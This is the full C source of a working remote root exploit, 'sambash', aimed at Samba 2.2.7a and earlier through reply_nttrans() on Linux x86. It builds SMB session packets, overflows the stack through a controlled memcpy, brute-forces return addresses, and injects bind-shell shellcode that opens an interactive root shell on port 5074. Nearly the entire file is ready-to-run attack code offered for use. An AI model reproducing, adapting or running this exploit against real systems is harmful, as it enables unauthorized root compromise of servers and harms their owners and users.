/**
 **   sambash -- samba <= 2.2.7a reply_nttrans() linux x86 remote root exploit by flatline@blackhat.nl
 **
 **   since we fully control a memcpy(), our options are endless here. i've chosen to go the stack route tho,
 **   because any heap method would've required too much brute forcing or would've required the ugly use of targets.
 **
 **   the stack method still requires little brute forcing and obviously will not survive PaX, but it's efficient.
 **   i'm using executable rets as a 'jmp sled' which jmp to the shellcode to help improve our brute forcing chances a bit.
 **
 **   shouts to (#)0dd, #!l33tsecurity and #!xpc.
 **
 **   many thanks to tcpdump which had to suffer the torture i put it through and often didn't survive (more to come?).
 **
 **   public/private, i don't give a shit.
 **
 **/

#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <errno.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <ctype.h>
#include <signal.h>

typedef unsigned char uint8;
typedef unsigned short uint16;
typedef unsigned long uint32;

/*  https://ubiqx.org/cifs/SMB.html, CIFS-TR-1p00_FINAL.pdf, smb_cifs_protocol.pdf, 
  https://www.ubiqx.org/cifs/rfc-draft/rfc1001.html#s14, https://www.ubiqx.org/cifs/rfc-draft/rfc1002.html#s4.3.2 */

// XXX: lelijkheid: vermijd word padding door hier byte arrays van te maken.
struct variable_data_header
{ uint8 wordcount, bytecount[2];
};

struct nbt_session_header
{ uint8 type, flags, len[2];
};

struct smb_base_header
{ uint8 protocol[4], command, errorclass, reserved, errorcode[2];
  uint8 flags;
  uint8 flags2[2], reserved2[12], tid[2], pid[2], uid[2], mid[2];
};

struct negprot_reply_header
{ uint8 wordcount;
  uint8 dialectindex[2];
  uint8 securitymode;
  uint16 maxmpxcount, maxvccount;
  uint32 maxbufsize, maxrawsize, sessionid, capabilities, timelow, timehigh;
  uint16 timezone;
  uint8 keylen;
  uint16 bytecount;
};

// omdat we ipasswdlen en passwdlen meegeven is wordcount altijd 13 voor deze header.
struct sesssetupx_request_header
{ uint8 wordcount, command, reserved;
  uint8 offset[2], maxbufsize[2], maxmpxcount[2], vcnumber[2];
  uint8 sessionid[4];
  uint8 ipasswdlen[2], passwdlen[2];
  uint8 reserved2[4], capabilities[4];
};

struct sesssetupx_reply_header
{ uint8 wordcount, xcommand, xreserved, xoffset[2], action[2], bytecount[2];
  // wat volgt: char nativeos[], nativelanman[], primarydomain[];
};

struct tconx_request_header
{ uint8 wordcount, xcommand, xreserved, xoffset[2], flags[2], passwdlen[2], bytecount[2];
  // uint16 bytecount geeft lengte van volgende fields aan: char password[], path[], service[];
};

struct tconx_reply_header
{ uint8 wordcount, xcommand, xreserved, xoffset[2], supportbits[2], bytecount[2];
  // wat volgt: char service[], char nativefilesystem[];
};

// verschilt van trans en trans2 door de 32 bits wijde header fields.
struct nttrans_primary_request_header
{ uint8 wordcount, maxsetupcount, flags[2], totalparamcount[4], totaldatacount[4], maxparamcount[4], maxdatacount[4];
  uint8 paramcount[4], paramoffset[4], datacount[4], dataoffset[4], setupcount, function[2], bytecount[2];
};

struct nttrans_secondary_request_header
{ uint8 pad[4], totalparamcount[4], totaldatacount[4], paramcount[4], paramoffset[4], paramdisplace[4],
    datacount[4], dataoffset[4], datadisplace[4];
};

/* struct trans2_request_header
{ uint8 wordcount;
  int totalparamcount, totaldatacount, maxparamcount, maxdatacount;
  uint8 maxsetupcount[2], flags[2];
  uint8 timeout[4];
  int reserved2, paramcount, paramoffset, datacount, dataoffset, fid;
  uint8 setupcount[2], bytecount[2];
}; */

struct trans2_reply_header
{ uint8 wordcount;
  uint16 totalparamcount, totaldatacount, reserved, paramcount, paramoffset, 
    paramdisplacement, datacount, dataoffset, datadisplacement;
  uint8 setupcount, reserved2;
  uint16 bytecount;
};

#define SMBD_PORT  139
#define SHELLCODE_PORT  5074

#define SMB_NEGPROT    0x72
#define SMB_SESSSETUPX    0x73
#define SMB_TCONX    0x75
#define SMB_TRANS2    0x32
#define SMB_NTTRANS1    0xA0
#define SMB_NTTRANS2    0xA1
#define SMB_NTTRANSCREATE  0x01
#define SMB_TRANS2OPEN    0x00
#define SMB_SESSIONREQ    0x81
#define SMB_SESSION    0x00

#define STACKBOTTOM    0xbfffffff
#define STACKBASE    0xbfffd000
#define TOTALCOUNT    ((int)(STACKBOTTOM - STACKBASE))
#define BRUTESTEP    5120

extern char *optarg;
extern int optind, errno, h_errno;

uint16 tid, pid, uid;
uint32 sessionid, PARAMBASE = 0x81c0000;
char *tconx_servername;
int userbreak = 0;

char shellcode[] = "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52" \
  "\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd" \
  "\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43" \
  "\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52" \
  "\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b"
  "\xcd\x80";

// ach, 't kan ermee door.
char *netbios_encode_name(char *name, int type)
{ char plainname[16], c, *encoded, *ptr;
  int i, len = strlen(name);
  if ((encoded = malloc(34)) == NULL)
  { fprintf(stderr, "malloc() failed\n");
    exit(-1);
  }
  ptr = encoded;
  strncpy(plainname, name, 15);
  *ptr++ = 0x20;
  for (i = 0; i < 16; i++)
  { if (i == 15) c = type;
    else 
    { if (i < len) c = toupper(plainname[i]);
      else c = 0x20;
    }
    *ptr++ = (((c >> 4) & 0xf) + 0x41);
    *ptr++ = ((c & 0xf) + 0x41);
  }
  *ptr = '\0';
  return encoded;
}

void construct_nbt_session_header(char *ptr, uint8 type, uint8 flags, uint32 len)
{ struct nbt_session_header *nbt_hdr = (struct nbt_session_header *)ptr;
  uint16 nlen;

// geen idee of dit de juiste manier is, maar 't lijkt wel te werken ..
  if (len > 65535) nlen = 65535;
  else nlen = htons(len);

  memset((void *)nbt_hdr, '\0', sizeof (struct nbt_session_header));
  
  nbt_hdr->type = type;
  nbt_hdr->flags = flags;
  memcpy(&nbt_hdr->len, &nlen, sizeof (uint16));
}

// caller zorgt voor juiste waarde van ptr.
void construct_smb_base_header(char *ptr, uint8 command, uint8 flags, uint16 flags2, uint16 tid, uint16 pid, 
  uint16 uid, uint16 mid)
{ struct smb_base_header *base_hdr = (struct smb_base_header *)ptr;

  memset(base_hdr, '\0', sizeof (struct smb_base_header));

  memcpy(base_hdr->protocol, "\xffSMB", 4);

  base_hdr->command = command;
  base_hdr->flags = flags;

  memcpy(&base_hdr->flags2, &flags2, sizeof (uint16));
  memcpy(&base_hdr->tid, &tid, sizeof (uint16));
  memcpy(&base_hdr->pid, &pid, sizeof (uint16));
  memcpy(&base_hdr->uid, &uid, sizeof (uint16));
  memcpy(base_hdr->mid, &mid, sizeof (uint16));
}

void construct_sesssetupx_header(char *ptr)
{ struct sesssetupx_request_header *sx_hdr = (struct sesssetupx_request_header *)ptr;
  uint16 maxbufsize = 0xffff, maxmpxcount = 2, vcnumber = 31257, pwdlen = 0;
  uint32 capabilities = 0x50;

  memset(sx_hdr, '\0', sizeof (struct sesssetupx_request_header));

  sx_hdr->wordcount = 13;
  sx_hdr->command = 0xff;
  memcpy(&sx_hdr->maxbufsize, &maxbufsize, sizeof (uint16));
  memcpy(&sx_hdr->vcnumber, &vcnumber, sizeof (uint16));
  memcpy(&sx_hdr->maxmpxcount, &maxmpxcount, sizeof (uint16));
  memcpy(&sx_hdr->sessionid, &sessionid, sizeof (uint32));
  memcpy(&sx_hdr->ipasswdlen, &pwdlen, sizeof (uint16));
  memcpy(&sx_hdr->passwdlen, &pwdlen, sizeof (uint16));
  memcpy(&sx_hdr->capabilities, &capabilities, sizeof (uint32));
}

/*
struct tconx_request_header
{ uint8 wordcount, xcommand, xreserved, xoffset[2], flags[2], passwdlen[2], bytecount[2];
  -- uint16 bytecount geeft lengte van volgende fields aan: char password[], path[], service[];
}; */
void construct_tconx_header(char *ptr)
{ struct tconx_request_header *tx_hdr = (struct tconx_request_header *)ptr;
  uint16 passwdlen = 1, bytecount;
  char *data;

  memset(tx_hdr, '\0', sizeof (struct tconx_request_header));

  bytecount = strlen(tconx_servername) + 15;  

  if ((data = malloc(bytecount)) == NULL)
  { fprintf(stderr, "malloc() failed, aborting!\n");
    exit(-1);
  }
  memcpy(data, "\x00\x5c\x5c", 3);
  memcpy(data + 3, tconx_servername, strlen(tconx_servername));
  memcpy(data + 3 + strlen(tconx_servername), "\x5cIPC\x24\x00\x3f\x3f\x3f\x3f\x3f\x00", 12);

  tx_hdr->wordcount = 4;
  tx_hdr->xcommand = 0xff;

  memcpy(&tx_hdr->passwdlen, &passwdlen, sizeof (uint16));
  memcpy(&tx_hdr->bytecount, &bytecount, sizeof (uint16));

// zorg ervoor dat er genoeg ruimte in het packet is om dit erachter te kunnen plakken.
  memcpy(ptr + sizeof (struct tconx_request_header), data, bytecount);
}

// session request versturen.
void nbt_session_request(int fd, char *clientname, char *servername)
{ char *cn, *sn;
  char packet[sizeof (struct nbt_session_header) + (34 * 2)];

  construct_nbt_session_header(packet, SMB_SESSIONREQ, 0, sizeof (packet) - sizeof (struct nbt_session_header));

  tconx_servername = servername;

  sn = netbios_encode_name(servername, 0x20);
  cn = netbios_encode_name(clientname, 0x00);

  memcpy(packet + sizeof (struct nbt_session_header), sn, 34);
  memcpy(packet + (sizeof (struct nbt_session_header) + 34), cn, 34);

  if (write(fd, packet, sizeof (packet)) == -1)
  { close(fd);
    fprintf(stderr, "write() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 
    exit(-errno);
  }

  free(cn);
  free(sn);
}

// netjes verwerken, zoals het hoort.
void process_nbt_session_reply(int fd)
{ struct nbt_session_header nbt_hdr;
  char *errormsg;
  uint8 errorcode;
  int size, len = 0;

  if ((size = read(fd, &nbt_hdr, sizeof (nbt_hdr))) == -1)
  { close(fd);
    fprintf(stderr, "read() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 
    exit(-errno);
  }
  if (size != sizeof (nbt_hdr))
  { close(fd);
    fprintf(stderr, "read() a broken packet, aborting.\n"); 
    exit(-1);
  }
  memcpy(&len, &nbt_hdr.len, sizeof (uint16));

  if (len)
  { read(fd, (void *)&errorcode, 1); 
    close(fd);
    switch (errorcode)
    { case 0x80 : errormsg = "Not listening on called name"; break;
      case 0x81 : errormsg = "Not listening for calling name"; break;
      case 0x82 : errormsg = "Called name not present"; break;
      case 0x83 : errormsg = "Called name present, but insufficient resources"; break;
      case 0x8f : errormsg = "Unspecified error"; break;
      default  : errormsg = "Unspecified error (unknown error code received!)"; break;
    }
    fprintf(stderr, "session request denied, reason: '%s' (code %i)\n", errormsg, errorcode);
    exit(-1);
  }
  printf("session request granted\n");
}

void negprot_request(int fd)
{ struct variable_data_header data;
  char dialects[] = "\x2PC NETWORK PROGRAM 1.0\x0\x2MICROSOFT NETWORKS 1.03\x0\x2MICROSOFT NETWORKS 3.0\x0\x2LANMAN1.0\x0" \
    "\x2LM1.2X002\x0\x2Samba\x0\x2NT LANMAN 1.0\x0\x2NT LM 0.12\x0\x2""FLATLINE'S KWAADWAAR";  
  char packet[sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + sizeof (data) + sizeof (dialects)];
  int dlen = htons(sizeof (dialects));

  memset(&data, '\0', sizeof (data));
  construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) - sizeof (struct nbt_session_header));
  pid = getpid();
  construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_NEGPROT, 8, 1, 0, pid, 0, 1);

  memcpy(&data.bytecount, &dlen, sizeof (uint16));

  memcpy(packet + (sizeof (struct nbt_session_header) + sizeof (struct smb_base_header)), &data, sizeof (data));
  memcpy(packet + (sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + sizeof (data)), 
    dialects, sizeof (dialects));

  if (write(fd, packet, sizeof (packet)) == -1)
  { close(fd);
    fprintf(stderr, "write() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 
    exit(-errno);
  }
}

void process_negprot_reply(int fd)
{ struct nbt_session_header *nbt_hdr;
  struct smb_base_header *base_hdr;
  struct negprot_reply_header *np_reply_hdr;
  char packet[1024];
  int size;
  uint16 pid_reply;

  nbt_hdr = (struct nbt_session_header *)packet;
  base_hdr = (struct smb_base_header *)(packet + sizeof (struct nbt_session_header));
  np_reply_hdr = (struct negprot_reply_header *)(packet + (sizeof (struct nbt_session_header) + 
    sizeof (struct smb_base_header)));

  if ((size = read(fd, packet, sizeof (packet))) == -1)
  { close(fd);
    fprintf(stderr, "read() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 
    exit(-errno);
  }

  // bekijk het antwoord even vluchtig.
  memcpy(&pid_reply, &base_hdr->pid, sizeof (uint16));
  memcpy(&sessionid, &np_reply_hdr->sessionid, sizeof (uint32));
  if (base_hdr->command != SMB_NEGPROT || np_reply_hdr->wordcount != 17 || pid_reply != pid)
  { close(fd);
    fprintf(stderr, "protocol negotiation failed\n");
    exit(-1);
  }

  printf("protocol negotiation complete\n");
}

void sesssetupx_request(int fd)
{ uint8 data[] = "\x12\x0\x0\x0\x55\x6e\x69\x78\x00\x53\x61\x6d\x62\x61";
  char packet[sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + 
    sizeof (struct sesssetupx_request_header) + sizeof (data)];
  int size;

  construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) - sizeof (struct nbt_session_header));
  construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_SESSSETUPX, 8, 1, 0, pid, 0, 1);
  construct_sesssetupx_header(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header));
  memcpy(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + 
    sizeof (struct sesssetupx_request_header), &data, sizeof (data));

  if ((size = write(fd, packet, sizeof (packet))) == -1)
  { close(fd);
    fprintf(stderr, "write() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 
    exit(-errno);
  }
  if (size != sizeof (packet))
  { close(fd);
    fprintf(stderr, "couldn't write entire packet, aborting!\n");
    exit(-1);
  }
}

void process_sesssetupx_reply(int fd)
{ struct nbt_session_header *nbt_hdr;
  struct smb_base_header *base_hdr;
  struct sesssetupx_reply_header *sx_hdr;
  char packet[1024];
  int size, len;

// lees het packet
  if ((size = read(fd, packet, sizeof (packet))) == -1)
  { close(fd);
    fprintf(stderr, "read() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 
    exit(-errno);
  }

  nbt_hdr = (struct nbt_session_header *)packet;
  base_hdr = (struct smb_base_header *)(packet + sizeof (struct nbt_session_header));
  sx_hdr = (struct sesssetupx_reply_header *)(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header));

  memcpy(&len, &nbt_hdr->len, sizeof (uint16));
  memcpy(&uid, &base_hdr->uid, sizeof (uint16));

// even een vluchtige check
  if (sx_hdr->xcommand != 0xff && sx_hdr->wordcount != 3)
  { close(fd);
    fprintf(stderr, "session setup failed\n");
    exit(-1);
  }

  printf("session setup complete, got assigned uid %i\n", uid);
}

void tconx_request(int fd)
{ // geen fixed size buffer omdat we met dynamische data te maken hebben (variabele servernaam)
  char *packet;
  int size, pktsize = sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) +
    sizeof (struct tconx_request_header) + strlen(tconx_servername) + 15;

  if ((packet = malloc(pktsize)) == NULL)
  { close(fd);
    fprintf(stderr, "malloc() failed, aborting!\n");
    exit(-1);
  }

  construct_nbt_session_header(packet, SMB_SESSION, 0, pktsize - sizeof (struct nbt_session_header));
  construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_TCONX, 8, 1, 0, pid, uid, 1);
  construct_tconx_header(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header));

  if ((size = write(fd, packet, pktsize)) == -1)
  { close(fd);
    fprintf(stderr, "write() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 
    exit(-errno);
  }

  free(packet);

  if (size != pktsize)
  { close(fd);
    fprintf(stderr, "couldn't write entire packet, aborting!\n");
    exit(-1);
  }  
}

void process_tconx_reply(int fd)
{ struct nbt_session_header *nbt_hdr;
  struct smb_base_header *base_hdr;
  struct tconx_reply_header *tx_hdr;
  char packet[1024];
  int size, bytecount;
    
// lees het packet
  if ((size = read(fd, packet, sizeof (packet))) == -1)
  { close(fd);
    fprintf(stderr, "read() failed, reason: '%s' (code %i)\n", strerror(errno), errno);
    exit(-errno);
  }

  nbt_hdr = (struct nbt_session_header *)packet;
  base_hdr = (struct smb_base_header *)(packet + sizeof (struct nbt_session_header));
  tx_hdr = (struct tconx_reply_header *)(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header));

  memcpy(&tid, &base_hdr->tid, sizeof (uint16));
  memcpy(&bytecount, &tx_hdr->bytecount, sizeof (uint16));

  printf("tree connect complete, got assigned tid %i\n", tid);
}

void nttrans_primary_request(int fd)
{ char packet[sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + 
    sizeof (struct nttrans_primary_request_header)];
  struct nttrans_primary_request_header nt_hdr;

  int size, function = SMB_NTTRANSCREATE, totalparamcount = TOTALCOUNT, totaldatacount = 0;
  uint8 setupcount = 0;

  memset(&nt_hdr, '\0', sizeof (nt_hdr));

  construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) - sizeof (struct nbt_session_header));
  construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_NTTRANS1, 8, 1, tid, pid, uid, 1);

  nt_hdr.wordcount = 19 + setupcount;
  memcpy(&nt_hdr.function, &function, sizeof (uint16));

  memcpy(&nt_hdr.totalparamcount, &totalparamcount, sizeof (uint32));
  memcpy(&nt_hdr.totaldatacount, &totaldatacount, sizeof (uint32));

  memcpy(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header), &nt_hdr, sizeof (nt_hdr));

  if ((size = write(fd, packet, sizeof (packet))) == -1)
  { close(fd);
    fprintf(stderr, "write() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 
    exit(-errno);
  }
  if (size != sizeof (packet))
  { close(fd);
    fprintf(stderr, "couldn't write entire packet, aborting!\n");
    exit(-1);
  }  
}

// hier gaat het gebeuren.
/* 
struct nttrans_secondary_request_header
{ uint8 pad[3], totalparamcount[4], totaldatacount[4], paramcount[4], paramoffset[4], paramdisplace[4],
    datacount[4], dataoffset[4], datadisplace[4];
}; */
void nttrans_secondary_request(int fd)
{ char retbuf[TOTALCOUNT], packet[sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) +
    sizeof (struct nttrans_secondary_request_header) + TOTALCOUNT];
  struct nttrans_secondary_request_header nt_hdr;
  unsigned long retaddr, jmptocode = 0x9090a1eb; // jmptocode = 0x90909ceb;
  int i;

  int size, totalparamcount = TOTALCOUNT, totaldatacount = 0,   
    paramcount = TOTALCOUNT, datacount = 0, paramdisplace = STACKBASE - PARAMBASE,
    datadisplace = 0, paramoffset = 68, dataoffset = 0;

  memset(&nt_hdr, '\0', sizeof (nt_hdr));
  retaddr = 0xbffff6eb;
  for (i = 0; i < TOTALCOUNT; i += 4) 
  { if (i == 0x100)
    { memcpy(retbuf + i, &jmptocode, 4);
    }
    else memcpy(retbuf + i, &retaddr, 4);
  }

//  memset(shellcode, 0xCC, sizeof (shellcode));
  memcpy(retbuf + 0x100 - sizeof (shellcode), shellcode, sizeof (shellcode));

  printf("sizeof packet: %i, parambase: 0x%08lx\n", sizeof (packet), PARAMBASE);

  construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) - sizeof (struct nbt_session_header));
  construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_NTTRANS2, 8, 1, tid, pid, uid, 1);
  
  memcpy(&nt_hdr.totalparamcount, &totalparamcount, sizeof (uint32));
  memcpy(&nt_hdr.totaldatacount, &totaldatacount, sizeof (uint32));
  memcpy(&nt_hdr.paramcount, &paramcount, sizeof (uint32));
  memcpy(&nt_hdr.datacount, &datacount, sizeof (uint32));
  memcpy(&nt_hdr.paramdisplace, &paramdisplace, sizeof (uint32));
  memcpy(&nt_hdr.datadisplace, &datadisplace, sizeof (uint32));
  memcpy(&nt_hdr.paramoffset, &paramoffset, sizeof (uint32));
  memcpy(&nt_hdr.dataoffset, &dataoffset, sizeof (uint32));
   
  memcpy(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header), &nt_hdr, sizeof (nt_hdr));
  memcpy(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + sizeof (nt_hdr), retbuf, sizeof (retbuf));

  usleep(5000);
  
  if ((size = write(fd, packet, sizeof (packet))) == -1)
  { close(fd);  
    fprintf(stderr, "write() failed, reason: '%s' (code %i)\n", strerror(errno), errno);
    exit(-errno);
  }
  if (size != sizeof (packet))
  { close(fd);
    fprintf(stderr, "couldn't write entire packet, aborting!\n");
    exit(-1);
  }
  fprintf(stderr, "secondary nttrans packet sent!\n");
}

// voor alle idioten onder ons.
void usage(char *name)
{ printf("\nusage: %s -h hostname [-p port] -t target [-l]\n\n-h\tspecify target hostname\n-p\tspecify target " \
   "port (defaults to 139)\n-t\tspecify target's magic numbers\n-l\tshow list of targets\n\n", name);
}

void userbreak_handler(int x)
{ userbreak = 1;
}

int main(int argc, char **argv)
{ int fd, port = -1, opt, readlen;
  unsigned long target_ip;
  struct sockaddr_in s_in;
  struct hostent *he;
  char *host = NULL, *me, readbuf[4096];
  fd_set readfds;

  if (argc >= 1) 
  { me = argv[0];
    if (strchr(me, '/') != NULL) me = strrchr(me, '/') + 1;
  }
  else me = "sambash";

  fprintf(stderr, "\nsambash -- samba <= 2.2.7a reply_nttrans() linux x86 remote root exploit by flatline@blackhat.nl\n\n");

  while ((opt = getopt(argc, argv, "h:p:b:")) != EOF)
  { switch (opt)
    { case 'h': { if (!inet_aton(optarg, (struct in_addr *)&target_ip))
      { if ((he = gethostbyname(optarg)) == NULL)
        { fprintf(stderr, "unable to resolve host '%s', reason: %s (code %i)\n", optarg, hstrerror(h_errno), h_errno);
          exit(-h_errno);
        }
        memcpy((void *)&target_ip, he->h_addr_list[0], he->h_length);
            }
      host = optarg;
    } break;
      case 'p': { port = atoi(optarg);
            if (port < 0 || port > 65535)
      { fprintf(stderr, "invalid port specified.\n");
        exit(-1);
      }
     } break;
      case 'b': PARAMBASE += atoi(optarg); break;
      default : { usage(me);
      exit(0);
    } break;
    }
  }

  if (host == NULL)
  { fprintf(stderr, "no hostname specified.\n");
    usage(me);
    exit(-1);
  }
  if (port == -1) port = SMBD_PORT;

  signal(SIGINT, userbreak_handler);

  while (!userbreak)
  { memset(&s_in, 0, sizeof (s_in));
    s_in.sin_family = AF_INET;
    s_in.sin_port = htons(port);
    s_in.sin_addr.s_addr = target_ip;

    if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
    { fprintf(stderr, "socket() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 
      exit(-errno);
    }

    if (connect(fd, (struct sockaddr *)&s_in, sizeof (s_in)) == -1)
    { fprintf(stderr, "connect() to host '%s:%i' failed, reason: '%s' (code %i)\n", host, port, strerror(errno), errno); 
      exit(-errno);
    }

    // register name
    nbt_session_request(fd, "BOSSA", "SAMBA");
    process_nbt_session_reply(fd);

    // protocol negotiation
    negprot_request(fd);
    process_negprot_reply(fd);

    // session setup
    sesssetupx_request(fd);
    process_sesssetupx_reply(fd);

    // tree connection setup
    tconx_request(fd);
    process_tconx_reply(fd);

    // nttrans packet sturen
    nttrans_primary_request(fd);

    nttrans_secondary_request(fd);

    usleep(750000);

    if (close(fd) == -1)
    { fprintf(stderr, "close() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 
      exit(-errno);
    }

    memset(&s_in, 0, sizeof (s_in));
    s_in.sin_family = AF_INET;
    s_in.sin_port = htons(SHELLCODE_PORT);
    s_in.sin_addr.s_addr = target_ip;

    if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
    { fprintf(stderr, "socket() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 
      exit(-errno);
    }

    if (connect(fd, (struct sockaddr *)&s_in, sizeof (s_in)) == -1)
    { if (close(fd) == -1)
      { fprintf(stderr, "close() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 
        exit(-errno);
      }
      PARAMBASE += BRUTESTEP;
      continue;
    }
    
    printf("\n\n** veel plezier.\n\n");
    
    FD_ZERO(&readfds);
    while (!userbreak)
    { FD_SET(fileno(stdin), &readfds);
      FD_SET(fd, &readfds);
    
      if (select(fd + 1, &readfds, NULL, NULL, NULL) < 0)
      { fprintf(stderr, "shell loop aborted because of error code %i ('%s')\n", errno, strerror(errno));
        break;
      }
      
      if (FD_ISSET(fileno(stdin), &readfds))
      { int writelen;
   
        readlen = read(fileno(stdin), readbuf, sizeof (readbuf));
        if (readlen == -1)
        { fprintf(stderr, "read() failed with error code %i ('%s')\n", errno, strerror(errno));
          exit(-1);
        }
        if ((writelen = write(fd, readbuf, readlen)) == -1)
        { fprintf(stderr, "write() failed with error code %i ('%s')\n", errno, strerror(errno));
          exit(-1);
        }
        FD_ZERO(&readfds);
        continue;
      }
      if (FD_ISSET(fd, &readfds))
      { if ((readlen = read(fd, readbuf, sizeof (readbuf))) == -1)
        { fprintf(stderr, "shell loop aborted because of error code %i ('%s')\n", errno, strerror(errno));
          break;
        }
        write(fileno(stderr), readbuf, readlen);
        FD_ZERO(&readfds);   
        continue;
      }
    }

  }

  printf("user break.\n");
  signal(SIGINT, SIG_DFL);

  return 0;
}